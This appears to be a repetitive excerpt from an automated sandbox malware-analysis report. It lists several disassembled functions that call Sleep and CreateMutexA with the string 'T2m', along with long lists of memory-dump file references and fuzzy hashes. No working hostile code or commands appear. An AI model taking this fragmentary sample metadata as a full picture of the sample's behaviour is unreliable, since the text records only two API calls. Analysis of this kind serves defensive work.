sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0067A963
CreateMutexA.KERNEL32(00000000,00000000,006D3254), ref: 0067A981

Strings

T2m, xrefs: 0067A970

Memory Dump Source

Source File: 00000000.00000002.1428965317.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1428941471.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1428965317.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429126467.00000000006D9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429179391.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429200923.00000000006E5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429219559.00000000006E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429248167.00000000006E7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429460706.0000000000838000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429494123.000000000083A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429551451.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429551451.0000000000858000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429621326.0000000000861000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429640957.0000000000862000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429663099.0000000000863000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429683493.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429710873.000000000086E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429744216.0000000000870000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429769433.0000000000871000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429796276.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429826563.0000000000889000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429846593.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429874482.00000000008B1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429899006.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429925077.00000000008B5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429947658.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430029995.00000000008C2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430163038.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430259484.00000000008D3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430294204.00000000008D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430329685.00000000008D5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430387483.00000000008D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430417512.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430433300.00000000008E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430448611.00000000008E8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430504759.00000000008EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430527403.00000000008EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430586144.00000000008F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430609617.00000000008F1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430655949.00000000008F4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430655949.000000000092C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430731016.000000000092D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430781465.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430805073.000000000094E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430829889.000000000094F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430854134.0000000000966000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430877762.0000000000967000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430938804.000000000096A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430957892.000000000096D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430977169.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430993971.000000000097D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2m
API String ID: 1464230837-1250367210
Opcode ID: 7dd3d42b03d2a2749f8fd57b1d31333bd141def60b2773ae772e22a2383cbed1
Instruction ID: 71d7aaadc97bb74f6a4c5df243a5a5d42cb6c2d6d420c8aa24c2e61629dba8bc
Opcode Fuzzy Hash: 7dd3d42b03d2a2749f8fd57b1d31333bd141def60b2773ae772e22a2383cbed1
Instruction Fuzzy Hash: D0312831A141009BFB089BF8DC89B6DB763EBC6310F24C76DE118973D5D7759A808756

Function 0067A418 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0067A963
CreateMutexA.KERNEL32(00000000,00000000,006D3254), ref: 0067A981

Strings

T2m, xrefs: 0067A970

Memory Dump Source

Source File: 00000000.00000002.1428965317.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1428941471.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1428965317.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429126467.00000000006D9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429179391.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429200923.00000000006E5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429219559.00000000006E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429248167.00000000006E7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429460706.0000000000838000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429494123.000000000083A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429551451.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429551451.0000000000858000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429621326.0000000000861000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429640957.0000000000862000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429663099.0000000000863000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429683493.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429710873.000000000086E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429744216.0000000000870000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429769433.0000000000871000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429796276.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429826563.0000000000889000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429846593.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429874482.00000000008B1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429899006.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429925077.00000000008B5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429947658.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430029995.00000000008C2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430163038.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430259484.00000000008D3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430294204.00000000008D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430329685.00000000008D5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430387483.00000000008D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430417512.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430433300.00000000008E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430448611.00000000008E8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430504759.00000000008EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430527403.00000000008EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430586144.00000000008F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430609617.00000000008F1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430655949.00000000008F4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430655949.000000000092C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430731016.000000000092D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430781465.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430805073.000000000094E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430829889.000000000094F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430854134.0000000000966000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430877762.0000000000967000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430938804.000000000096A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430957892.000000000096D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430977169.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430993971.000000000097D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2m
API String ID: 1464230837-1250367210
Opcode ID: 3e1816dc7a8bc85f5967b11d7af97bb7e714cf5693d9130bf527eb0cb733792b
Instruction ID: e6660873cd19a10baa1726aa9520125a6b63094c105247fc84ac8b7d599d53c9
Opcode Fuzzy Hash: 3e1816dc7a8bc85f5967b11d7af97bb7e714cf5693d9130bf527eb0cb733792b
Instruction Fuzzy Hash: 81311C31A101009BEB18ABF8DC89B6DB7A3DFC5314F24C21CE1599B3D9D77699808766

Function 0067A54D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0067A963
CreateMutexA.KERNEL32(00000000,00000000,006D3254), ref: 0067A981

Strings

T2m, xrefs: 0067A970

Memory Dump Source

Source File: 00000000.00000002.1428965317.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1428941471.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1428965317.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429126467.00000000006D9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429179391.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429200923.00000000006E5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429219559.00000000006E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429248167.00000000006E7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429460706.0000000000838000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429494123.000000000083A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429551451.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429551451.0000000000858000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429621326.0000000000861000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429640957.0000000000862000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429663099.0000000000863000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429683493.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429710873.000000000086E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429744216.0000000000870000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429769433.0000000000871000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429796276.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429826563.0000000000889000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429846593.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429874482.00000000008B1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429899006.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429925077.00000000008B5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429947658.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430029995.00000000008C2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430163038.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430259484.00000000008D3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430294204.00000000008D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430329685.00000000008D5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430387483.00000000008D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430417512.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430433300.00000000008E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430448611.00000000008E8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430504759.00000000008EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430527403.00000000008EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430586144.00000000008F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430609617.00000000008F1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430655949.00000000008F4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430655949.000000000092C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430731016.000000000092D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430781465.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430805073.000000000094E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430829889.000000000094F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430854134.0000000000966000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430877762.0000000000967000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430938804.000000000096A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430957892.000000000096D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430977169.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430993971.000000000097D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2m
API String ID: 1464230837-1250367210
Opcode ID: 3d2134e219e393b6d6735427dbac34195585f35bccf59853bb7344ccf4129ab2
Instruction ID: 80d8d139fee01adeaafb17cca51a429cb70a749957483b79ef7febf0927157fd
Opcode Fuzzy Hash: 3d2134e219e393b6d6735427dbac34195585f35bccf59853bb7344ccf4129ab2
Instruction Fuzzy Hash: 29314831A101008BFB08EBF8DC89BADB763EBC5324F24C62CE1589B3D5D77599808726

Function 0067A682 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0067A963
CreateMutexA.KERNEL32(00000000,00000000,006D3254), ref: 0067A981

Strings

T2m, xrefs: 0067A970

Memory Dump Source

Source File: 00000000.00000002.1428965317.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1428941471.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1428965317.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429126467.00000000006D9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429179391.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429200923.00000000006E5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429219559.00000000006E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429248167.00000000006E7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429460706.0000000000838000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429494123.000000000083A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429551451.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429551451.0000000000858000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429621326.0000000000861000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429640957.0000000000862000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429663099.0000000000863000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429683493.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429710873.000000000086E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429744216.0000000000870000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429769433.0000000000871000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429796276.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429826563.0000000000889000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429846593.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429874482.00000000008B1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429899006.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429925077.00000000008B5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429947658.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430029995.00000000008C2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430163038.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430259484.00000000008D3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430294204.00000000008D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430329685.00000000008D5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430387483.00000000008D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430417512.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430433300.00000000008E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430448611.00000000008E8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430504759.00000000008EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430527403.00000000008EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430586144.00000000008F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430609617.00000000008F1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430655949.00000000008F4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430655949.000000000092C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430731016.000000000092D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430781465.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430805073.000000000094E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430829889.000000000094F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430854134.0000000000966000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430877762.0000000000967000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430938804.000000000096A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430957892.000000000096D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430977169.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430993971.000000000097D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2m
API String ID: 1464230837-1250367210
Opcode ID: 94d3a4702d4fd0781a3c45acf37241475733bddb47ef7e6da85fedc07e704500
Instruction ID: db16608332700351120f03230541999f135a3df4e94dc5fbbed4219c4f2015ae
Opcode Fuzzy Hash: 94d3a4702d4fd0781a3c45acf37241475733bddb47ef7e6da85fedc07e704500
Instruction Fuzzy Hash: 05314831A102008BEB08EBF8DC89BADB763DBC5310F24C62CE1189B3D5D77599808766

Function 00679ADC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0067A963
CreateMutexA.KERNEL32(00000000,00000000,006D3254), ref: 0067A981

Strings

T2m, xrefs: 0067A970

Memory Dump Source

Source File: 00000000.00000002.1428965317.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1428941471.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1428965317.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429126467.00000000006D9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429179391.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429200923.00000000006E5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429219559.00000000006E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429248167.00000000006E7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429460706.0000000000838000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429494123.000000000083A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429551451.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429551451.0000000000858000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429621326.0000000000861000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429640957.0000000000862000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429663099.0000000000863000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429683493.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429710873.000000000086E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429744216.0000000000870000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429769433.0000000000871000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429796276.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429826563.0000000000889000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429846593.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429874482.00000000008B1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429899006.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429925077.00000000008B5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429947658.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430029995.00000000008C2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430163038.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430259484.00000000008D3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430294204.00000000008D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430329685.00000000008D5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430387483.00000000008D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430417512.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430433300.00000000008E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430448611.00000000008E8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430504759.00000000008EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430527403.00000000008EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430586144.00000000008F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430609617.00000000008F1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430655949.00000000008F4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430655949.000000000092C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430731016.000000000092D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430781465.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430805073.000000000094E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430829889.000000000094F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430854134.0000000000966000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430877762.0000000000967000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430938804.000000000096A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430957892.000000000096D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430977169.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
